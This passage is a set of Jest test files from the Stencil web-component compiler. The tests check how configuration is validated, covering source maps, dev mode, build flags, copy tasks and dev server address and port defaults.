async () => { const userConfig: d.UnvalidatedConfig = { devMode: false }; const { config: validatedConfig } = validateConfig(userConfig, {}); expect(validatedConfig.sourceMap).toBe(false); mockTsConfigParser(validatedConfig.sourceMap); const testConfig = getLoadConfigForTests({ config: userConfig }); const loadConfigResults = await loadConfig(testConfig); const { sourceMap, inlineSources } = loadConfigResults.config.tsCompilerOptions; expect(sourceMap).toBe(false); expect(inlineSources).toBe(false); }); it('defaults to "dev" behavior (true in dev mode)', async () => { const userConfig: d.UnvalidatedConfig = { devMode: true }; const { config: validatedConfig } = validateConfig(userConfig, {}); expect(validatedConfig.sourceMap).toBe(true); mockTsConfigParser(validatedConfig.sourceMap); const testConfig = getLoadConfigForTests({ config: userConfig }); const loadConfigResults = await loadConfig(testConfig); const { sourceMap, inlineSources } = loadConfigResults.config.tsCompilerOptions; expect(sourceMap).toBe(true); expect(inlineSources).toBe(true); }); it('resolves "dev" to true when devMode is true', async () => { const userConfig: d.UnvalidatedConfig = { sourceMap: 'dev', devMode: true }; const { config: validatedConfig } = validateConfig(userConfig, {}); expect(validatedConfig.sourceMap).toBe(true); mockTsConfigParser(validatedConfig.sourceMap); const testConfig = getLoadConfigForTests({ config: userConfig }); const loadConfigResults = await loadConfig(testConfig); const { sourceMap, inlineSources } = loadConfigResults.config.tsCompilerOptions; expect(sourceMap).toBe(true); expect(inlineSources).toBe(true); }); it('resolves "dev" to false when devMode is false', async () => { const userConfig: d.UnvalidatedConfig = { sourceMap: 'dev', devMode: false }; const { config: validatedConfig } = validateConfig(userConfig, {}); expect(validatedConfig.sourceMap).toBe(false); mockTsConfigParser(validatedConfig.sourceMap); const testConfig = getLoadConfigForTests({ config: userConfig }); const loadConfigResults = await loadConfig(testConfig); const { sourceMap, inlineSources } = loadConfigResults.config.tsCompilerOptions; expect(sourceMap).toBe(false); expect(inlineSources).toBe(false); }); }); ================================================ FILE: src/compiler/config/test/validate-config.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { mockCompilerSystem, mockLoadConfigInit, mockLogger } from '@stencil/core/testing'; import { DOCS_CUSTOM, DOCS_JSON, DOCS_README, DOCS_VSCODE } from '@utils'; import { createConfigFlags } from '../../../cli/config-flags'; import { isWatchIgnorePath } from '../../fs-watch/fs-watch-rebuild'; import { validateConfig } from '../validate-config'; describe('validation', () => { let userConfig: d.UnvalidatedConfig; let bootstrapConfig: d.LoadConfigInit; const logger = mockLogger(); const sys = mockCompilerSystem(); beforeEach(() => { userConfig = { sys: sys, logger: logger, rootDir: '/User/some/path/', namespace: 'Testing', }; bootstrapConfig = mockLoadConfigInit(); }); describe('caching', () => { it('should cache the validated config between calls if the same config is passed back in', () => { const { config } = validateConfig(userConfig, {}); const { config: secondRound } = validateConfig(config, {}); // we should have object identity expect(config === secondRound).toBe(true); // objects should be deepEqual as well expect(config).toEqual(secondRound); }); it('should bust the cache if a different config is supplied than the cached one', () => { // validate once, caching that result const { config } = validateConfig(userConfig, {}); // pass a new initial configuration const { config: secondRound } = validateConfig({ ...userConfig }, {}); // shouldn't have object equality with the earlier one expect(config === secondRound).toBe(false); }); }); describe('flags', () => { it('adds a default "flags" object if none is provided', () => { userConfig.flags = undefined; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.flags).toEqual({}); }); it('serializes a provided "flags" object', () => { userConfig.flags = createConfigFlags({ dev: false }); const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.flags).toEqual(createConfigFlags({ dev: false })); }); describe('devMode', () => { it('defaults "devMode" to false when "flag.prod" is truthy', () => { userConfig.flags = createConfigFlags({ prod: true }); const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.devMode).toBe(false); }); it('defaults "devMode" to true when "flag.dev" is truthy', () => { userConfig.flags = createConfigFlags({ dev: true }); const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.devMode).toBe(true); }); it('defaults "devMode" to false when "flag.prod" & "flag.dev" are truthy', () => { userConfig.flags = createConfigFlags({ dev: true, prod: true }); const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.devMode).toBe(false); }); it('sets "devMode" to false if the user provided flag isn\'t a boolean', () => { // the branch under test explicitly requires a value whose type is not allowed by the type system const devMode = 'not-a-bool' as unknown as boolean; userConfig = { devMode }; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.devMode).toBe(false); }); }); }); describe('allowInlineScripts', () => { it('set allowInlineScripts true', () => { userConfig.allowInlineScripts = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.allowInlineScripts).toBe(true); }); it('set allowInlineScripts false', () => { userConfig.allowInlineScripts = false; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.allowInlineScripts).toBe(false); }); it('default allowInlineScripts true', () => { const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.allowInlineScripts).toBe(true); }); }); describe('transformAliasedImportPaths', () => { it.each([true, false])('set transformAliasedImportPaths %p', (bool) => { userConfig.transformAliasedImportPaths = bool; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.transformAliasedImportPaths).toBe(bool); }); it('defaults `transformAliasedImportPaths` to true', () => { const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.transformAliasedImportPaths).toBe(true); }); }); describe('suppressReservedPublicNameWarnings', () => { it.each([true, false])('sets suppressReservedPublicNameWarnings to %p when provided', (bool) => { userConfig.suppressReservedPublicNameWarnings = bool; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.suppressReservedPublicNameWarnings).toBe(bool); }); it('defaults suppressReservedPublicNameWarnings to false', () => { const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.suppressReservedPublicNameWarnings).toBe(false); }); }); describe('enableCache', () => { it('set enableCache true', () => { userConfig.enableCache = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.enableCache).toBe(true); }); it('set enableCache false', () => { userConfig.enableCache = false; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.enableCache).toBe(false); }); it('default enableCache true', () => { const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.enableCache).toBe(true); }); }); describe('buildAppCore', () => { it('set buildAppCore true', () => { userConfig.buildAppCore = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.buildAppCore).toBe(true); }); it('set buildAppCore false', () => { userConfig.buildAppCore = false; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.buildAppCore).toBe(false); }); it('default buildAppCore true', () => { const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.buildAppCore).toBe(true); }); }); describe('es5 build', () => { it('set buildEs5 false', () => { userConfig.buildEs5 = false; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.buildEs5).toBe(false); }); it('set buildEs5 true', () => { userConfig.buildEs5 = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.buildEs5).toBe(true); }); it('set buildEs5 true, dev mode', () => { userConfig.devMode = true; userConfig.buildEs5 = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.buildEs5).toBe(true); }); it('prod mode, set modern and es5', () => { userConfig.devMode = false; userConfig.buildEs5 = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.buildEs5).toBe(true); }); it('build es5 when set to "prod" and in prod', () => { userConfig.devMode = false; userConfig.buildEs5 = 'prod'; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.buildEs5).toBe(true); }); it('do not build es5 when set to "prod" and in dev', () => { userConfig.devMode = true; userConfig.buildEs5 = 'prod'; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.buildEs5).toBe(false); }); it('prod mode default to only modern and not es5', () => { userConfig.devMode = false; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.buildEs5).toBe(false); }); }); describe('hashed filenames', () => { it('should error when hashedFileNameLength too large', () => { userConfig.hashedFileNameLength = 33; const validated = validateConfig(userConfig, bootstrapConfig); expect(validated.diagnostics).toHaveLength(1); }); it('should error when hashedFileNameLength too small', () => { userConfig.hashedFileNameLength = 3; const validated = validateConfig(userConfig, bootstrapConfig); expect(validated.diagnostics).toHaveLength(1); }); it('should set from hashedFileNameLength', () => { userConfig.hashedFileNameLength = 28; const validated = validateConfig(userConfig, bootstrapConfig); expect(validated.config.hashedFileNameLength).toBe(28); }); it('should set hashedFileNameLength', () => { userConfig.hashedFileNameLength = 6; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.hashedFileNameLength).toBe(6); }); it('should default hashedFileNameLength', () => { const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.hashedFileNameLength).toBe(8); }); it('should default hashFileNames to false in watch mode despite prod mode', () => { userConfig.watch = true; userConfig.devMode = false; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.hashFileNames).toBe(true); }); it('should default hashFileNames to true in prod mode', () => { userConfig.devMode = false; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.hashFileNames).toBe(true); }); it('should default hashFileNames to false in dev mode', () => { userConfig.devMode = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.hashFileNames).toBe(false); }); it.each([true, false])('should set hashFileNames when hashFileNames===%b', (hashFileNames) => { userConfig.hashFileNames = hashFileNames; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.hashFileNames).toBe(hashFileNames); }); it('should set hashFileNames from function', () => { (userConfig as any).hashFileNames = () => { return true; }; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.hashFileNames).toBe(true); }); }); describe('minifyJs', () => { it('should set minifyJs to true', () => { userConfig.devMode = true; userConfig.minifyJs = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.minifyJs).toBe(true); }); it('should default minifyJs to true in prod mode', () => { userConfig.devMode = false; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.minifyJs).toBe(true); }); it('should default minifyJs to false in dev mode', () => { userConfig.devMode = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.minifyJs).toBe(false); }); }); describe('minifyCss', () => { it('should set minifyCss to true', () => { userConfig.devMode = true; userConfig.minifyCss = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.minifyCss).toBe(true); }); it('should default minifyCss to true in prod mode', () => { userConfig.devMode = false; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.minifyCss).toBe(true); }); it('should default minifyCss to false in dev mode', () => { userConfig.devMode = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.minifyCss).toBe(false); }); }); it('should default watch to false', () => { const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.watch).toBe(false); }); it('should set devMode to false', () => { userConfig.devMode = false; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.devMode).toBe(false); }); it('should set devMode to true', () => { userConfig.devMode = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.devMode).toBe(true); }); it('should default devMode to false', () => { const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.devMode).toBe(false); }); it.each([DOCS_JSON, DOCS_CUSTOM, DOCS_README, DOCS_VSCODE])( 'should not add "%s" output target by default', (targetType) => { const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.outputTargets.some((o) => o.type === targetType)).toBe(false); }, ); it('should set devInspector false', () => { userConfig.devInspector = false; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.devInspector).toBe(false); }); it('should set devInspector true', () => { userConfig.devInspector = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.devInspector).toBe(true); }); it('should default devInspector false when devMode is false', () => { userConfig.devMode = false; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.devInspector).toBe(false); }); it('should default devInspector true when devMode is true', () => { userConfig.devMode = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.devInspector).toBe(true); }); it('should default dist false and www true', () => { const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.outputTargets.some((o) => o.type === 'dist')).toBe(false); expect(config.outputTargets.some((o) => o.type === 'www')).toBe(true); }); it('should error for invalid outputTarget type', () => { userConfig.outputTargets = [ { type: 'whatever', } as any, ]; const validated = validateConfig(userConfig, bootstrapConfig); expect(validated.diagnostics).toHaveLength(1); }); it('should default outputTargets with www', () => { const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.outputTargets.some((o) => o.type === 'www')).toBe(true); }); it('should set extras defaults', () => { const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.extras.appendChildSlotFix).toBe(false); expect(config.extras.cloneNodeFix).toBe(false); expect(config.extras.lifecycleDOMEvents).toBe(false); expect(config.extras.scriptDataOpts).toBe(false); expect(config.extras.slotChildNodesFix).toBe(false); expect(config.extras.initializeNextTick).toBe(false); expect(config.extras.tagNameTransform).toBe(false); expect(config.extras.additionalTagTransformers).toBe(false); expect(config.extras.scopedSlotTextContentFix).toBe(false); expect(config.extras.addGlobalStyleToComponents).toBe('client'); expect(config.extras.additionalTagTransformers).toBe(false); }); describe('extras.additionalTagTransformers', () => { it('set extras.additionalTagTransformers false', () => { userConfig.extras = { additionalTagTransformers: false }; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.extras.additionalTagTransformers).toBe(false); }); it('set extras.additionalTagTransformers true', () => { userConfig.extras = { additionalTagTransformers: true }; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.extras.additionalTagTransformers).toBe(true); }); it('set extras.additionalTagTransformers true, dev mode', () => { userConfig.devMode = true; userConfig.extras = { additionalTagTransformers: true }; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.extras.additionalTagTransformers).toBe(true); }); it('prod mode, set extras.additionalTagTransformers', () => { userConfig.devMode = false; userConfig.extras = { additionalTagTransformers: true }; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.extras.additionalTagTransformers).toBe(true); }); it('build extras.additionalTagTransformers when set to "prod" and in prod', () => { userConfig.devMode = false; userConfig.extras = { additionalTagTransformers: 'prod' }; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.extras.additionalTagTransformers).toBe(true); }); it('do not build extras.additionalTagTransformers when set to "prod" and in dev', () => { userConfig.devMode = true; userConfig.extras = { additionalTagTransformers: 'prod' }; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.extras.additionalTagTransformers).toBe(false); }); it('prod mode default to only modern and not extras.additionalTagTransformers', () => { userConfig.devMode = false; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.extras.additionalTagTransformers).toBe(false); }); }); it('should set slot config based on `experimentalSlotFixes`', () => { userConfig.extras = {}; userConfig.extras.experimentalSlotFixes = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.extras.appendChildSlotFix).toBe(true); expect(config.extras.cloneNodeFix).toBe(true); expect(config.extras.slotChildNodesFix).toBe(true); expect(config.extras.scopedSlotTextContentFix).toBe(true); }); it('should override slot fix config based on `experimentalSlotFixes`', () => { // This test is to verify the flags get overwritten correctly even if an // invalid config is ingested. Hence, the `any` cast userConfig.extras = { appendChildSlotFix: false, slotChildNodesFix: false, cloneNodeFix: false, scopedSlotTextContentFix: false, experimentalSlotFixes: true, } as any; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.extras.appendChildSlotFix).toBe(true); expect(config.extras.cloneNodeFix).toBe(true); expect(config.extras.slotChildNodesFix).toBe(true); expect(config.extras.scopedSlotTextContentFix).toBe(true); }); it('should set extras experimentalScopedSlotChanges `true` if set in user config', () => { userConfig.extras = { experimentalScopedSlotChanges: true, }; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.extras.experimentalScopedSlotChanges).toBe(true); }); it('should set taskQueue "async" by default', () => { const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.taskQueue).toBe('async'); }); it('should set taskQueue', () => { userConfig.taskQueue = 'congestionAsync'; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.taskQueue).toBe('congestionAsync'); }); it('empty watchIgnoredRegex, all valid', () => { const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.watchIgnoredRegex).toEqual([]); expect(isWatchIgnorePath(config, '/some/image.gif')).toBe(false); expect(isWatchIgnorePath(config, '/some/typescript.ts')).toBe(false); }); it('should change a single watchIgnoredRegex to an array', () => { userConfig.watchIgnoredRegex = /\.(gif|jpe?g|png)$/i; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.watchIgnoredRegex).toHaveLength(1); expect((config.watchIgnoredRegex as any[])[0]).toEqual(/\.(gif|jpe?g|png)$/i); expect(isWatchIgnorePath(config, '/some/image.gif')).toBe(true); expect(isWatchIgnorePath(config, '/some/typescript.ts')).toBe(false); }); it('should clean up valid watchIgnoredRegex', () => { userConfig.watchIgnoredRegex = [/\.(gif|jpe?g)$/i, null, 'me-regex' as any, /\.(png)$/i]; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.watchIgnoredRegex).toHaveLength(2); expect((config.watchIgnoredRegex as any[])[0]).toEqual(/\.(gif|jpe?g)$/i); expect((config.watchIgnoredRegex as any[])[1]).toEqual(/\.(png)$/i); expect(isWatchIgnorePath(config, '/some/image.gif')).toBe(true); expect(isWatchIgnorePath(config, '/some/image.jpg')).toBe(true); expect(isWatchIgnorePath(config, '/some/image.png')).toBe(true); expect(isWatchIgnorePath(config, '/some/typescript.ts')).toBe(false); }); describe('sourceMap', () => { it('sets the field to true when the set to true in the config', () => { userConfig.sourceMap = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.sourceMap).toBe(true); }); it('sets the field to false when set to false in the config', () => { userConfig.sourceMap = false; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.sourceMap).toBe(false); }); it('defaults to "dev" behavior when not set (true in dev mode)', () => { userConfig.devMode = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.sourceMap).toBe(true); }); it('defaults to "dev" behavior when not set (false in prod mode)', () => { userConfig.devMode = false; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.sourceMap).toBe(false); }); it('sets the field to true when set to "dev" and devMode is true', () => { userConfig.sourceMap = 'dev'; userConfig.devMode = true; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.sourceMap).toBe(true); }); it('sets the field to false when set to "dev" and devMode is false', () => { userConfig.sourceMap = 'dev'; userConfig.devMode = false; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.sourceMap).toBe(false); }); it('sets the field to true when set to "dev" and --dev flag is passed', () => { userConfig.sourceMap = 'dev'; userConfig.flags = createConfigFlags({ dev: true }); const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.sourceMap).toBe(true); }); it('sets the field to false when set to "dev" and --prod flag is passed', () => { userConfig.sourceMap = 'dev'; userConfig.flags = createConfigFlags({ prod: true }); const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.sourceMap).toBe(false); }); }); describe('buildDist', () => { it.each([true, false])('should set the field based on the config flag (%p)', (flag) => { userConfig.flags = createConfigFlags({ esm: flag }); const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.buildDist).toBe(flag); }); it.each([true, false])('should fallback to !devMode', (devMode) => { userConfig.devMode = devMode; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.buildDist).toBe(!devMode); }); it.each([true, false])('should fallback to buildEs5 in devMode', (buildEs5) => { userConfig.devMode = true; userConfig.buildEs5 = buildEs5; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.buildDist).toBe(config.buildEs5); }); }); describe('validatePrimaryPackageOutputTarget', () => { it('should default to false', () => { const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.validatePrimaryPackageOutputTarget).toBe(false); }); it.each([true, false])( 'should set validatePrimaryPackageOutputTarget to %p', (validatePrimaryPackageOutputTarget) => { userConfig.validatePrimaryPackageOutputTarget = validatePrimaryPackageOutputTarget; const { config } = validateConfig(userConfig, bootstrapConfig); expect(config.validatePrimaryPackageOutputTarget).toBe(validatePrimaryPackageOutputTarget); }, ); }); }); ================================================ FILE: src/compiler/config/test/validate-copy.spec.ts ================================================ import type * as d from '../../../declarations'; import { validateCopy } from '../validate-copy'; describe('validate-copy', () => { describe('validateCopy', () => { it.each([false, null, undefined, []])('returns an empty array when the copy task is `%s`', (copyValue) => { expect(validateCopy(copyValue, [])).toEqual([]); }); it('pushes default tasks not found in the original copy list', () => { const defaultCopyTasks: d.CopyTask[] = [ { src: 'defaultSrc' }, { src: 'anotherDefaultSrc', dest: 'anotherDefaultDest' }, ]; expect(validateCopy([], defaultCopyTasks)).toEqual(defaultCopyTasks); }); it('combines provided and default tasks', () => { const tasksToValidate: d.CopyTask[] = [{ src: 'someSrc', dest: 'someDest', keepDirStructure: true, warn: false }]; const defaultCopyTasks: d.CopyTask[] = [ { src: 'defaultSrc' }, { src: 'anotherDefaultSrc', dest: 'anotherDefaultDest' }, ]; expect(validateCopy(tasksToValidate, defaultCopyTasks)).toEqual([...tasksToValidate, ...defaultCopyTasks]); }); it('prefers provided tasks over default tasks', () => { const tasksToValidate: d.CopyTask[] = [ { src: 'aDuplicateSrc', dest: 'someDest', keepDirStructure: true, warn: false }, ]; const defaultCopyTasks: d.CopyTask[] = [ { src: 'aDuplicateSrc' }, { src: 'anotherDefaultSrc', dest: 'anotherDefaultDest' }, ]; // the first task from the default task list is not used expect(validateCopy(tasksToValidate, defaultCopyTasks)).toEqual([ { src: 'aDuplicateSrc', dest: 'someDest', keepDirStructure: true, warn: false }, { src: 'anotherDefaultSrc', dest: 'anotherDefaultDest' }, ]); }); it('de-duplicates copy tasks', () => { const copyTask: d.CopyTask = { src: 'aDuplicateSrc', dest: 'someDest', keepDirStructure: true, warn: false }; const tasksToValidate: d.CopyTask[] = [{ ...copyTask }, { ...copyTask }]; expect(validateCopy(tasksToValidate, [])).toEqual([{ ...copyTask }]); }); }); }); ================================================ FILE: src/compiler/config/test/validate-custom.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { mockConfig, mockLoadConfigInit } from '@stencil/core/testing'; import { buildWarn } from '@utils'; import { validateConfig } from '../validate-config'; describe('validateCustom', () => { let userConfig: d.Config; beforeEach(() => { userConfig = mockConfig(); }); it('should log warning', () => { userConfig.outputTargets = [ { type: 'custom', name: 'test', validate: (_, diagnostics) => { const warn = buildWarn(diagnostics); warn.messageText = 'test warning'; }, generator: async () => { return; }, }, ]; const { diagnostics } = validateConfig(userConfig, mockLoadConfigInit()); // TODO(STENCIL-1107): Decrement the right-hand side value from 2 to 1 expect(diagnostics.length).toBe(2); // TODO(STENCIL-1107): Keep this assertion expect(diagnostics[0]).toEqual({ header: 'Build Warn', level: 'warn', lines: [], messageText: 'test warning', type: 'build', }); // TODO(STENCIL-1107): Remove this assertion expect(diagnostics[1]).toEqual({ header: 'Build Warn', level: 'warn', lines: [], messageText: 'nodeResolve.customResolveOptions is a deprecated option in a Stencil Configuration file. If you need this option, please open a new issue in the Stencil repository (https://github.com/stenciljs/core/issues/new/choose)', type: 'build', }); }); }); ================================================ FILE: src/compiler/config/test/validate-dev-server.spec.ts ================================================ import { mockLoadConfigInit } from '@stencil/core/testing'; import path from 'path'; import { ConfigFlags, createConfigFlags } from '../../../cli/config-flags'; import type * as d from '../../../declarations'; import { normalizePath } from '../../../utils'; import { validateConfig } from '../validate-config'; describe('validateDevServer', () => { const root = path.resolve('/'); let inputConfig: d.UnvalidatedConfig; let inputDevServerConfig: d.DevServerConfig; let flags: ConfigFlags; beforeEach(() => { inputDevServerConfig = {}; flags = createConfigFlags({ serve: true }); inputConfig = { sys: {} as any, rootDir: normalizePath(path.join(root, 'some', 'path')), devServer: inputDevServerConfig, flags, namespace: 'Testing', }; }); it('should default address', () => { const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.address).toBe('0.0.0.0'); }); it.each(['https://localhost', 'http://localhost', 'https://localhost/', 'http://localhost/', 'localhost/'])( 'should remove extraneous stuff from address %p', (address) => { inputConfig.devServer = { ...inputDevServerConfig, address }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.address).toBe('localhost'); }, ); it('should set address', () => { inputConfig.devServer = { ...inputDevServerConfig, address: '123.123.123.123' }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.address).toBe('123.123.123.123'); }); it('should set address from flags', () => { inputConfig.flags = { ...flags, address: '123.123.123.123' }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.address).toBe('123.123.123.123'); }); it('should get custom baseUrl', () => { inputConfig.outputTargets = [ { type: 'www', baseUrl: '/my-base-url', } as d.OutputTargetWww, ]; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.basePath).toBe('/my-base-url/'); }); it('should get custom baseUrl with domain', () => { inputConfig.outputTargets = [ { type: 'www', baseUrl: 'http://stenciljs.com/my-base-url', } as d.OutputTargetWww, ]; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.basePath).toBe('/my-base-url/'); }); it('should default basePath', () => { const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.basePath).toBe('/'); }); it('should default root', () => { const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.root).toBe(normalizePath(path.join(root, 'some', 'path', 'www'))); }); it('should set relative root', () => { inputConfig.devServer = { ...inputDevServerConfig, root: 'my-rel-root' }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.root).toBe(normalizePath(path.join(root, 'some', 'path', 'my-rel-root'))); }); it('should set absolute root', () => { inputConfig.devServer = { ...inputDevServerConfig, root: normalizePath(path.join(root, 'some', 'path', 'my-abs-root')), }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.root).toBe(normalizePath(path.join(root, 'some', 'path', 'my-abs-root'))); }); it('should default gzip', () => { const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.gzip).toBe(true); }); it('should set gzip', () => { inputConfig.devServer = { ...inputDevServerConfig, gzip: false }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.gzip).toBe(false); }); it.each(['localhost', '192.12.12.10', '127.0.0.1'])('should default port with address %p', () => { const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.port).toBe(3333); }); it.each(['https://subdomain.stenciljs.com:3000', 'localhost:3000/', 'localhost:3000'])( 'should override port in address with port property', (address) => { inputConfig.devServer = { ...inputDevServerConfig, address, port: 1234 }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.port).toBe(1234); }, ); it('should not set default port if null', () => { // we intentionally set the value to `null` for the purposes of this test, hence the type assertion inputConfig.devServer = { ...inputDevServerConfig, port: null as unknown as number }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.port).toBe(null); }); it('sets the port to 3333 if the port is undefined', () => { inputConfig.devServer = { ...inputDevServerConfig, port: undefined }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.port).toBe(3333); }); it.each(['localhost:20/', 'localhost:20'])('should set port from address %p if no port prop', (address) => { inputConfig.devServer = { ...inputDevServerConfig, address }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.port).toBe(20); expect(config.devServer.address).toBe('localhost'); }); it('should set address, port null, protocol', () => { inputConfig.devServer = { ...inputDevServerConfig, address: 'https://subdomain.stenciljs.com/' }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.port).toBe(undefined); expect(config.devServer.address).toBe('subdomain.stenciljs.com'); expect(config.devServer.protocol).toBe('https'); }); it('should set port', () => { inputConfig.devServer = { ...inputDevServerConfig, port: 4444 }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.port).toBe(4444); }); it('should set port from flags', () => { inputConfig.flags = { ...flags, port: 4444 }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.port).toBe(4444); }); it('should default strictPort to false', () => { const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.strictPort).toBe(false); }); it('should set strictPort to true', () => { inputConfig.devServer = { ...inputDevServerConfig, strictPort: true }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.strictPort).toBe(true); }); it('should set strictPort to false', () => { inputConfig.devServer = { ...inputDevServerConfig, strictPort: false }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.strictPort).toBe(false); }); it('should default historyApiFallback', () => { const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.historyApiFallback).toBeDefined(); expect(config.devServer.historyApiFallback!.index).toBe('index.html'); }); it.each([1, []])('should default historyApiFallback when an invalid value (%s) is provided', (badValue) => { // this test explicitly checks for a bad value in the stencil.config file, hence the type assertion inputConfig.devServer = { ...inputDevServerConfig, historyApiFallback: badValue as any }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.historyApiFallback).toBeDefined(); expect(config.devServer.historyApiFallback!.index).toBe('index.html'); }); it('should set historyApiFallback', () => { inputConfig.devServer = { ...inputDevServerConfig, historyApiFallback: {} }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.historyApiFallback).toBeDefined(); expect(config.devServer.historyApiFallback!.index).toBe('index.html'); }); it('should sets the historyApiFallback when undefined is provided', () => { inputConfig.devServer = { ...inputDevServerConfig, historyApiFallback: undefined }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.historyApiFallback).toBeDefined(); expect(config.devServer.historyApiFallback!.disableDotRule).toBe(false); expect(config.devServer.historyApiFallback!.index).toBe('index.html'); }); it('should disable historyApiFallback', () => { // we intentionally set the value to `null` for the purposes of this test, hence the type assertion inputConfig.devServer = { ...inputDevServerConfig, historyApiFallback: null as unknown as d.HistoryApiFallback }; const { config } = validateConfig(inputConfig, mockLoadConfigInit()); expect(config.devServer.historyApiFallback).toBe(null); }); it('should default reloadStrategy hmr', () => { const { config } = validateConfig(inputConfig, mockLoadConfigInit()); 